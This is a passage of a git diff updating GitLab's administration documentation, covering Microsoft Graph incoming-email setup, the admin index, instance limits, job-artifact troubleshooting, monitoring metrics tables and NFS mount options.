API will soon be required for new Microsoft Exchange Online +mailboxes. + +To configure GitLab for Microsoft Graph, you will need to register an +OAuth2 application in your Azure Active Directory that has the +`Mail.ReadWrite` permission for all mailboxes. See the [MailRoom step-by-step guide](https://github.com/tpitale/mail_room/#microsoft-graph-configuration) +and [Microsoft instructions](https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app) +for more details. + +Record the following when you configure your OAuth2 application: + +- Tenant ID for your Azure Active Directory +- Client ID for your OAuth2 application +- Client secret your OAuth2 application + +##### Restrict mailbox access + +For MailRoom to work as a service account, the application you create +in Azure Active Directory requires that you set the `Mail.ReadWrite` property +to read/write mail in *all* mailboxes. + +To mitigate security concerns, we recommend configuring an application access +policy which limits the mailbox access for all accounts, as described in +[Microsoft documentation](https://docs.microsoft.com/en-us/graph/auth-limit-mailbox-access). + +This example for Omnibus GitLab assumes you're using the following mailbox: `incoming@example.onmicrosoft.com`: + +##### Configure Microsoft Graph + +```ruby +gitlab_rails['incoming_email_enabled'] = true + +# The email address including the `%{key}` placeholder that will be replaced +# to reference the item being replied to. The placeholder can be omitted, but if +# present, it must appear in the "user" part of the address (before the `@`). +gitlab_rails['incoming_email_address'] = "incoming+%{key}@example.onmicrosoft.com" + +# Email account username +gitlab_rails['incoming_email_email'] = "incoming@example.onmicrosoft.com" + +gitlab_rails['incoming_email_inbox_method'] = 'microsoft_graph' +gitlab_rails['incoming_email_inbox_options'] = { + 'tenant_id': '<YOUR-TENANT-ID>', + 'client_id': '<YOUR-CLIENT-ID>', + 'client_secret': '<YOUR-CLIENT-SECRET>', + 'poll_interval': 60 # Optional +} +``` + +The Microsoft Graph API is not yet supported in source installations. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326169) for more details. diff --git a/doc/administration/index.md b/doc/administration/index.md index 15a3bee4004..a7d81ca1543 100644 --- a/doc/administration/index.md +++ b/doc/administration/index.md @@ -7,7 +7,12 @@ description: 'Learn how to install, configure, update, and maintain your GitLab # Administrator documentation **(FREE SELF)** -Learn how to administer your self-managed GitLab instance. +If you use GitLab.com, only GitLab team members have access to administration tools and settings. +If you use a self-managed GitLab instance, learn how to administer it. + +Only administrator users can access GitLab administration tools and settings. + +## Available distributions GitLab has two product distributions available through [different subscriptions](https://about.gitlab.com/pricing/): @@ -15,17 +20,10 @@ GitLab has two product distributions available through [different subscriptions] - The open core [GitLab Enterprise Edition (EE)](https://gitlab.com/gitlab-org/gitlab). You can [install either GitLab CE or GitLab EE](https://about.gitlab.com/install/ce-or-ee/). -However, the features you have access to depend on your chosen [subscription](https://about.gitlab.com/pricing/). +However, the features you have access to depend on your chosen subscription. GitLab Community Edition installations have access only to Free features. -Non-administrator users can't access GitLab administration tools and settings. - -GitLab.com is administered by GitLab, Inc., and only GitLab team members have -access to its administration tools and settings. Users of GitLab.com should -instead refer to the [User documentation](../user/index.md) for GitLab -configuration and usage documentation. - ## Installing and maintaining GitLab Learn how to install, configure, update, and maintain your GitLab instance. @@ -70,8 +68,8 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Broadcast Messages](../user/admin_area/broadcast_messages.md): Send messages to GitLab users through the UI. - [Elasticsearch](../integration/elasticsearch.md): Enable Elasticsearch to - empower Advanced Search. Useful when you deal with a huge amount of data. -- [External Classification Policy Authorization](../user/admin_area/settings/external_authorization.md). + empower Advanced Search. Use when you deal with a huge amount of data. +- [External Classification Policy Authorization](../user/admin_area/settings/external_authorization.md) - [Upload a license](../user/admin_area/license.md): Upload a license to unlock features that are in paid tiers of GitLab. - [Admin Area](../user/admin_area/index.md): for self-managed instance-wide @@ -109,15 +107,15 @@ Learn how to install, configure, update, and maintain your GitLab instance. ### Upgrading or downgrading GitLab -- [Upgrade from GitLab CE to GitLab EE](../update/index.md#upgrading-between-editions): learn how to upgrade GitLab Community Edition to GitLab Enterprise Editions. +- [Upgrade from GitLab CE to GitLab EE](../update/index.md#upgrading-between-editions): Learn how to upgrade GitLab Community Edition to GitLab Enterprise Editions. - [Downgrade from GitLab EE to GitLab CE](../downgrade_ee_to_ce/index.md): Learn how to downgrade GitLab Enterprise Editions to Community Edition. ### GitLab platform integrations - [Mattermost](https://docs.gitlab.com/omnibus/gitlab-mattermost/): Integrate with [Mattermost](https://mattermost.com), an open source, private cloud workplace for web messaging. -- [PlantUML](integration/plantuml.md): Create simple diagrams in AsciiDoc and Markdown documents +- [PlantUML](integration/plantuml.md): Create diagrams in AsciiDoc and Markdown documents created in snippets, wikis, and repositories. -- [Web terminals](integration/terminal.md): Provide terminal access to your applications deployed to Kubernetes from within GitLab CI/CD [environments](../ci/environments/index.md#web-terminals). +- [Web terminals](integration/terminal.md): Provide terminal access to your applications deployed to Kubernetes from GitLab CI/CD [environments](../ci/environments/index.md#web-terminals). ## User settings and permissions @@ -126,12 +124,12 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Sign-up restrictions](../user/admin_area/settings/sign_up_restrictions.md): block email addresses of specific domains, or whitelist only specific domains. - [Access restrictions](../user/admin_area/settings/visibility_and_access_controls.md#enabled-git-access-protocols): Define which Git access protocols can be used to talk to GitLab (SSH, HTTP, HTTPS). - [Authentication and Authorization](auth/README.md): Configure external authentication with LDAP, SAML, CAS, and additional providers. - - [Sync LDAP](auth/ldap/index.md). - - [Kerberos authentication](../integration/kerberos.md). + - [Sync LDAP](auth/ldap/index.md) + - [Kerberos authentication](../integration/kerberos.md) - See also other [authentication](../topics/authentication/index.md#gitlab-administrators) topics (for example, enforcing 2FA). -- [Email users](../tools/email.md): Email GitLab users from within GitLab. +- [Email users](../tools/email.md): Email GitLab users from GitLab. - [User Cohorts](../user/admin_area/user_cohorts.md): Display the monthly cohorts of new users and their activities over time. -- [Audit events](audit_events.md): View the changes made within the GitLab server for: +- [Audit events](audit_events.md): View the changes made on the GitLab server for: - Groups and projects. - Instances. - [Auditor users](auditor_users.md): Users with read-only access to all projects, groups, and other resources on the GitLab instance. @@ -160,7 +158,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. ### Repository settings -- [Repository checks](repository_checks.md): Periodic Git repository checks. +- [Repository checks](repository_checks.md): Check your repository for data corruption. - [Repository storage paths](repository_storage_paths.md): Manage the paths used to store repositories. - [Repository storage types](repository_storage_types.md): Information about the different repository storage types. - [Repository storage Rake tasks](raketasks/storage.md): A collection of Rake tasks to list and migrate existing projects and attachments associated with it from Legacy storage to Hashed storage. @@ -171,7 +169,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Enable/disable GitLab CI/CD](../ci/enable_or_disable_ci.md#site-wide-admin-setting): Enable or disable GitLab CI/CD for your instance. - [GitLab CI/CD administration settings](../user/admin_area/settings/continuous_integration.md): Enable or disable Auto DevOps site-wide and define the artifacts' max size and expiration time. -- [External Pipeline Validation](external_pipeline_validation.md): Enable, disable and configure external pipeline validation. +- [External Pipeline Validation](external_pipeline_validation.md): Enable, disable, and configure external pipeline validation. - [Job artifacts](job_artifacts.md): Enable, disable, and configure job artifacts (a set of files and directories which are outputted by a job when it completes successfully). - [Job logs](job_logs.md): Information about the job logs. - [Register runners](../ci/runners/README.md#types-of-runners): Learn how to register and configure runners. @@ -216,7 +214,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. ## Troubleshooting -- [Debugging tips](troubleshooting/debug.md): Tips to debug problems when things go wrong +- [Debugging tips](troubleshooting/debug.md): Tips to debug problems when things go wrong. - [Log system](logs.md): Where to look for logs. - [Sidekiq Troubleshooting](troubleshooting/sidekiq.md): Debug when Sidekiq appears hung and is not processing jobs. - [Troubleshooting Elasticsearch](troubleshooting/elasticsearch.md) @@ -225,27 +223,27 @@ Learn how to install, configure, update, and maintain your GitLab instance. ### Support Team Docs -The GitLab Support Team has collected a lot of information about troubleshooting GitLab -instances. These documents are normally used by the Support Team itself, or by customers +The GitLab Support Team has collected a lot of information about troubleshooting GitLab. +The following documents are used by the Support Team or by customers with direct guidance from a Support Team member. GitLab administrators may find the -information useful for troubleshooting, but if you are experiencing trouble with your +information useful for troubleshooting. However, if you are experiencing trouble with your GitLab instance, you should check your [support options](https://about.gitlab.com/support/) before referring to these documents. WARNING: -Using the commands listed in the documentation below could result in data loss or -other damage to a GitLab instance, and should only be used by experienced administrators +The commands in the following documentation might result in data loss or +other damage to a GitLab instance. They should be used only by experienced administrators who are aware of the risks. -- [Useful diagnostics tools](troubleshooting/diagnostics_tools.md) -- [Useful Linux commands](troubleshooting/linux_cheat_sheet.md) +- [Diagnostics tools](troubleshooting/diagnostics_tools.md) +- [Linux commands](troubleshooting/linux_cheat_sheet.md) - [Troubleshooting Kubernetes](troubleshooting/kubernetes_cheat_sheet.md) - [Troubleshooting PostgreSQL](troubleshooting/postgresql.md) - [Guide to test environments](troubleshooting/test_environments.md) (for Support Engineers) - [GitLab Rails console commands](troubleshooting/gitlab_rails_cheat_sheet.md) (for Support Engineers) - [Troubleshooting SSL](troubleshooting/ssl.md) -- Useful links: - - [GitLab Developer Docs](../development/README.md) +- Related links: + - [GitLab Developer Documentation](../development/README.md) - [Repairing and recovering broken Git repositories](https://git.seveas.net/repairing-and-recovering-broken-git-repositories.html) - [Testing with OpenSSL](https://www.feistyduck.com/library/openssl-cookbook/online/ch-testing-with-openssl.html) - [`strace` zine](https://wizardzines.com/zines/strace/) diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md index ac37ee00210..820006eeadf 100644 --- a/doc/administration/instance_limits.md +++ b/doc/administration/instance_limits.md @@ -105,7 +105,7 @@ Limit the maximum daily member invitations allowed per group hierarchy. ## Gitaly concurrency limit -Clone traffic can put a large strain on your Gitaly service. To prevent such workloads from overwhelming your Gitaly server, you can set concurrency limits in Gitaly’s configuration file. +Clone traffic can put a large strain on your Gitaly service. To prevent such workloads from overwhelming your Gitaly server, you can set concurrency limits in Gitaly's configuration file. Read more on [Gitaly concurrency limits](gitaly/configure_gitaly.md#limit-rpc-concurrency). @@ -145,13 +145,14 @@ limited to 1KiB, and descriptions (the rest of the message) will be limited to ## Number of issues in the milestone overview -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39453) in GitLab 12.10. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39453) in GitLab 12.10. +> - [Set](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58168) to 500 in GitLab 13.11. -The maximum number of issues loaded on the milestone overview page is 3000. +The maximum number of issues loaded on the milestone overview page is 500. When the number exceeds the limit the page displays an alert and links to a paginated -[issue list](../user/project/issues/index.md#issues-list) of all issues in the milestone. +[issue list](../user/project/issues/managing_issues.md) of all issues in the milestone. -- **Limit:** 3000 issues +- **Limit:** 500 issues ## Number of pipelines per Git push @@ -376,7 +377,7 @@ Plan.default.actual_limits.update!(ci_instance_level_variables: 30) > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37226) in GitLab 13.3. -Job artifacts defined with [`artifacts:reports`](../ci/pipelines/job_artifacts.md#artifactsreports) +Job artifacts defined with [`artifacts:reports`](../ci/yaml/README.md#artifactsreports) that are uploaded by the runner are rejected if the file size exceeds the maximum file size limit. The limit is determined by comparing the project's [maximum artifact size setting](../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size) diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md index 3f8aca2f1ff..bec1fa6ad05 100644 --- a/doc/administration/job_artifacts.md +++ b/doc/administration/job_artifacts.md @@ -48,7 +48,7 @@ this is done when the job succeeds, but can also be done on failure, or always, [`artifacts:when`](../ci/yaml/README.md#artifactswhen) parameter. Most artifacts are compressed by GitLab Runner before being sent to the coordinator. The exception to this is -[reports artifacts](../ci/pipelines/job_artifacts.md#artifactsreports), which are compressed after uploading. +[reports artifacts](../ci/yaml/README.md#artifactsreports), which are compressed after uploading. ### Using local storage @@ -89,7 +89,7 @@ _The artifacts are stored by default in > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1762) in > [GitLab Premium](https://about.gitlab.com/pricing/) 9.4. -> - Since version 9.5, artifacts are [browsable](../ci/pipelines/job_artifacts.md#browsing-artifacts), +> - Since version 9.5, artifacts are [browsable](../ci/pipelines/job_artifacts.md#download-job-artifacts), > when object storage is enabled. 9.4 lacks this feature. > - Since version 10.6, available in [GitLab Free](https://about.gitlab.com/pricing/). > - Since version 11.0, we support `direct_upload` to S3. @@ -509,7 +509,7 @@ If you need to manually remove job artifacts associated with multiple jobs while NOTE: This step also erases artifacts that users have chosen to - ["keep"](../ci/pipelines/job_artifacts.md#browsing-artifacts). + ["keep"](../ci/pipelines/job_artifacts.md#download-job-artifacts). ```ruby builds_to_clear = builds_with_artifacts.where("finished_at < ?", 1.week.ago) @@ -526,6 +526,9 @@ If you need to manually remove job artifacts associated with multiple jobs while - `3.months.ago` - `1.year.ago` + `erase_erasable_artifacts!` is a synchronous method, and upon execution, the artifacts are removed immediately. + They are not scheduled via some background queue. + #### Delete job artifacts and logs from jobs completed before a specific date WARNING: @@ -580,3 +583,40 @@ If you need to manually remove **all** job artifacts associated with multiple jo - `7.days.ago` - `3.months.ago` - `1.year.ago` + +### Error `Downloading artifacts from coordinator... not found` + +When a job tries to download artifacts from an earlier job, you might receive an error similar to: + +```plaintext +Downloading artifacts from coordinator... not found id=12345678 responseStatus=404 Not Found +``` + +This might be caused by a `gitlab.rb` file with the following configuration: + +```ruby +gitlab_rails['artifacts_object_store_background_upload'] = false +gitlab_rails['artifacts_object_store_direct_upload'] = true +``` + +To prevent this, comment out or remove those lines, or switch to their [default values](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template), +then run `sudo gitlab-ctl reconfigure`. + +### Job artifact upload fails with error 500 + +If you are using object storage for artifacts and a job artifact fails to upload, +you can check: + +- The job log for an error similar to: + + ```plaintext + WARNING: Uploading artifacts as "archive" to coordinator... failed id=12345 responseStatus=500 Internal Server Error status=500 token=abcd1234 + ``` + +- The [workhorse log](logs.md#workhorse-logs) for an error similar to: + + ```json + {"error":"MissingRegion: could not find region configuration","level":"error","msg":"error uploading S3 session","time":"2021-03-16T22:10:55-04:00"} + ``` + +In both cases, you might need to add `region` to the job artifact [object storage configuration](#connection-settings). diff --git a/doc/administration/logs.md b/doc/administration/logs.md index 1950403ce35..289e2cb5362 100644 --- a/doc/administration/logs.md +++ b/doc/administration/logs.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/maintenance_mode/img/maintenance_mode_error_message.png b/doc/administration/maintenance_mode/img/maintenance_mode_error_message.png Binary files differnew file mode 100644 index 00000000000..b2044f9717d --- /dev/null +++ b/doc/administration/maintenance_mode/img/maintenance_mode_error_message.png diff --git a/doc/administration/maintenance_mode/index.md b/doc/administration/maintenance_mode/index.md index 1cdbda05749..437f59247f6 100644 --- a/doc/administration/maintenance_mode/index.md +++ b/doc/administration/maintenance_mode/index.md @@ -67,7 +67,7 @@ The banner can be customized with a specific message. An error is displayed when a user tries to perform a write operation that isn't allowed. - + NOTE: In some cases, the visual feedback from an action could be misleading, for example when starring a project, the **Star** button changes to show the **Unstar** action, however, this is only the frontend update, and it doesn't take into account the failed status of the POST request. These visual bugs are to be fixed [in follow-up iterations](https://gitlab.com/gitlab-org/gitlab/-/issues/295197). diff --git a/doc/administration/maintenance_mode/maintenance_mode_error_message.png b/doc/administration/maintenance_mode/maintenance_mode_error_message.png Binary files differdeleted file mode 100644 index 4b422a719ca..00000000000 --- a/doc/administration/maintenance_mode/maintenance_mode_error_message.png +++ /dev/null diff --git a/doc/administration/monitoring/github_imports.md b/doc/administration/monitoring/github_imports.md index 736ff299a86..cd35b8b3f9e 100644 --- a/doc/administration/monitoring/github_imports.md +++ b/doc/administration/monitoring/github_imports.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md index f389a2d2176..8d3c8555660 100644 --- a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md +++ b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -90,7 +90,7 @@ You can add custom metrics in the self monitoring project by: ## Troubleshooting -### Getting error message in logs: `Could not create instance administrators group. Errors: ["You don’t have permission to create groups."]` +### Getting error message in logs: `Could not create instance administrators group. Errors: ["You don't have permission to create groups."]` There is [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/208676) which causes project creation to fail with the following error (which appears in the log file) @@ -98,7 +98,7 @@ when the first administrator user is an [external user](../../../user/permissions.md#external-users): ```plaintext -Could not create instance administrators group. Errors: ["You don’t have permission to create groups."] +Could not create instance administrators group. Errors: ["You don't have permission to create groups."] ``` Run the following in a Rails console to check if the first administrator user is an external user: diff --git a/doc/administration/monitoring/index.md b/doc/administration/monitoring/index.md index d2e5f40b171..4c49efd6bd5 100644 --- a/doc/administration/monitoring/index.md +++ b/doc/administration/monitoring/index.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -25,5 +25,5 @@ Explore our features to monitor your GitLab instance: - [`nginx_status`](https://docs.gitlab.com/omnibus/settings/nginx.html#enablingdisabling-nginx_status): Monitor your NGINX server status. - [Auto Monitoring](../../topics/autodevops/stages.md#auto-monitoring): Automated - monitoring for your application’s server and response metrics, provided by + monitoring for your application's server and response metrics, provided by [Auto DevOps](../../topics/autodevops/index.md). diff --git a/doc/administration/monitoring/ip_whitelist.md b/doc/administration/monitoring/ip_whitelist.md index 91f9c5d560f..522267ce362 100644 --- a/doc/administration/monitoring/ip_whitelist.md +++ b/doc/administration/monitoring/ip_whitelist.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/performance/gitlab_configuration.md b/doc/administration/monitoring/performance/gitlab_configuration.md index a0f170e93d9..6e7557854ad 100644 --- a/doc/administration/monitoring/performance/gitlab_configuration.md +++ b/doc/administration/monitoring/performance/gitlab_configuration.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/performance/grafana_configuration.md b/doc/administration/monitoring/performance/grafana_configuration.md index 62d4f3c2625..ac322f3e1ef 100644 --- a/doc/administration/monitoring/performance/grafana_configuration.md +++ b/doc/administration/monitoring/performance/grafana_configuration.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/performance/index.md b/doc/administration/monitoring/performance/index.md index cdf78811092..15c54a36f6c 100644 --- a/doc/administration/monitoring/performance/index.md +++ b/doc/administration/monitoring/performance/index.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/performance/performance_bar.md b/doc/administration/monitoring/performance/performance_bar.md index 39e5e4f6c00..f6aa60b36a1 100644 --- a/doc/administration/monitoring/performance/performance_bar.md +++ b/doc/administration/monitoring/performance/performance_bar.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/performance/request_profiling.md b/doc/administration/monitoring/performance/request_profiling.md index ee035c6ad7a..15a58456e05 100644 --- a/doc/administration/monitoring/performance/request_profiling.md +++ b/doc/administration/monitoring/performance/request_profiling.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/prometheus/gitlab_exporter.md b/doc/administration/monitoring/prometheus/gitlab_exporter.md index 589fa799cca..4ba4cad9143 100644 --- a/doc/administration/monitoring/prometheus/gitlab_exporter.md +++ b/doc/administration/monitoring/prometheus/gitlab_exporter.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md index 3c6c984cbe3..9f87192aab0 100644 --- a/doc/administration/monitoring/prometheus/gitlab_metrics.md +++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -139,6 +139,18 @@ The following metrics can be controlled by feature flags: | `gitlab_method_call_duration_seconds` | `prometheus_metrics_method_instrumentation` | | `gitlab_view_rendering_duration_seconds` | `prometheus_metrics_view_instrumentation` | +## Praefect metrics + +You can [configure Praefect to report metrics](../../gitaly/praefect.md#praefect). +These are some of the Praefect metrics served from the `/metrics` path on the [configured port](index.md#changing-the-port-and-address-prometheus-listens-on) +(9652 by default). + +| Metric | Type | Since | Description | Labels | +| :----- | :--- | ----: | :---------- | :----- | +| `gitaly_praefect_replication_latency_bucket` | Histogram | 12.10 | The amount of time it takes for replication to complete once the replication job starts. | | +| `gitaly_praefect_replication_delay_bucket` | Histogram | 12.10 | A measure of how much time passes between when the replication job is created and when it starts. | | +| `gitaly_praefect_node_latency_bucket` | Histogram | 12.10 | The latency in Gitaly returning health check information to Praefect. This indicates Praefect connection saturation. | | + ## Sidekiq metrics Sidekiq jobs may also gather metrics, and these metrics can be accessed if the @@ -238,10 +250,11 @@ configuration option in `gitlab.yml`. These metrics are served from the The following metrics are available: -| Metric | Type | Since | Description | -|:--------------------------------- |:--------- |:------------------------------------------------------------- |:-------------------------------------- | -| `db_load_balancing_hosts` | Gauge | [12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/13630) | Current number of load balancing hosts | - +| Metric | Type | Since | Description | Labels | +|:--------------------------------- |:--------- |:------------------------------------------------------------- |:-------------------------------------- |:--------------------------------------------------------- | +| `db_load_balancing_hosts` | Gauge | [12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/13630) | Current number of load balancing hosts | | +| `sidekiq_load_balancing_count` | Counter | 13.11 | Sidekiq jobs using load balancing with data consistency set to :sticky or :delayed | `queue`, `boundary`, `external_dependencies`, `feature_category`, `job_status`, `urgency`, `data_consistency`, `database_chosen` | + ## Database partitioning metrics **(PREMIUM SELF)** The following metrics are available: diff --git a/doc/administration/monitoring/prometheus/index.md b/doc/administration/monitoring/prometheus/index.md index 23bffae99cf..035c5b3ee7e 100644 --- a/doc/administration/monitoring/prometheus/index.md +++ b/doc/administration/monitoring/prometheus/index.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/prometheus/node_exporter.md b/doc/administration/monitoring/prometheus/node_exporter.md index 6efc9d67e8d..68d997d7596 100644 --- a/doc/administration/monitoring/prometheus/node_exporter.md +++ b/doc/administration/monitoring/prometheus/node_exporter.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md index df2aa08efaa..d42c471ac71 100644 --- a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md +++ b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/prometheus/postgres_exporter.md b/doc/administration/monitoring/prometheus/postgres_exporter.md index 8b6d3d82018..783030a9220 100644 --- a/doc/administration/monitoring/prometheus/postgres_exporter.md +++ b/doc/administration/monitoring/prometheus/postgres_exporter.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/prometheus/redis_exporter.md b/doc/administration/monitoring/prometheus/redis_exporter.md index e9d656a6493..6cc262842a1 100644 --- a/doc/administration/monitoring/prometheus/redis_exporter.md +++ b/doc/administration/monitoring/prometheus/redis_exporter.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/monitoring/prometheus/registry_exporter.md b/doc/administration/monitoring/prometheus/registry_exporter.md index d2bd86aa908..87b51aaed08 100644 --- a/doc/administration/monitoring/prometheus/registry_exporter.md +++ b/doc/administration/monitoring/prometheus/registry_exporter.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md index 59b18f7a74a..52948732766 100644 --- a/doc/administration/nfs.md +++ b/doc/administration/nfs.md @@ -14,17 +14,19 @@ Pages](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/196). For data objects such as LFS, Uploads, Artifacts, etc., an [Object Storage service](object_storage.md) is recommended over NFS where possible, due to better performance. -WARNING: -From GitLab 13.0, using NFS for Git repositories is deprecated. -From GitLab 14.0, technical support for NFS for Git repositories -will no longer be provided. Upgrade to [Gitaly Cluster](gitaly/praefect.md) -as soon as possible. - File system performance can impact overall GitLab performance, especially for actions that read or write to Git repositories. For steps you can use to test file system performance, see [File system Performance Benchmarking](operations/filesystem_benchmarking.md). +## Gitaly and NFS deprecation + +WARNING: +From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be +considered and customer technical support will be considered out of scope. +[Read more about Gitaly and NFS](gitaly/index.md#nfs-deprecation-notice) and +[the correct mount options to use](#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss). + ## Known kernel version incompatibilities RedHat Enterprise Linux (RHEL) and CentOS v7.7 and v7.8 ship with kernel @@ -169,11 +171,11 @@ apt-get install nfs-common Here is an example snippet to add to `/etc/fstab`: ```plaintext -10.1.0.1:/var/opt/gitlab/.ssh /var/opt/gitlab/.ssh nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2 -10.1.0.1:/var/opt/gitlab/gitlab-rails/uploads /var/opt/gitlab/gitlab-rails/uploads nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2 -10.1.0.1:/var/opt/gitlab/gitlab-rails/shared /var/opt/gitlab/gitlab-rails/shared nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2 -10.1.0.1:/var/opt/gitlab/gitlab-ci/builds /var/opt/gitlab/gitlab-ci/builds nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2 -10.1.0.1:/var/opt/gitlab/git-data /var/opt/gitlab/git-data nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2 +10.1.0.1:/var/opt/gitlab/.ssh /var/opt/gitlab/.ssh nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,_netdev,lookupcache=positive 0 2 +10.1.0.1:/var/opt/gitlab/gitlab-rails/uploads /var/opt/gitlab/gitlab-rails/uploads nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,_netdev,lookupcache=positive 0 2 +10.1.0.1:/var/opt/gitlab/gitlab-rails/shared /var/opt/gitlab/gitlab-rails/shared nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,_netdev,lookupcache=positive 0 2 +10.1.0.1:/var/opt/gitlab/gitlab-ci/builds /var/opt/gitlab/gitlab-ci/builds nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,_netdev,lookupcache=positive 0 2 +10.1.0.1:/var/opt/gitlab/git-data /var/opt/gitlab/git-data nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,_netdev,lookupcache=positive 0 2 ``` You can view information and options set for each of the mounted NFS file @@ -187,6 +189,8 @@ Note there are several options that you should consider using: | `nofail` | Don't halt boot process waiting for this mount to become available | `lookupcache=positive` | Tells the NFS client to honor `positive` cache results but invalidates any 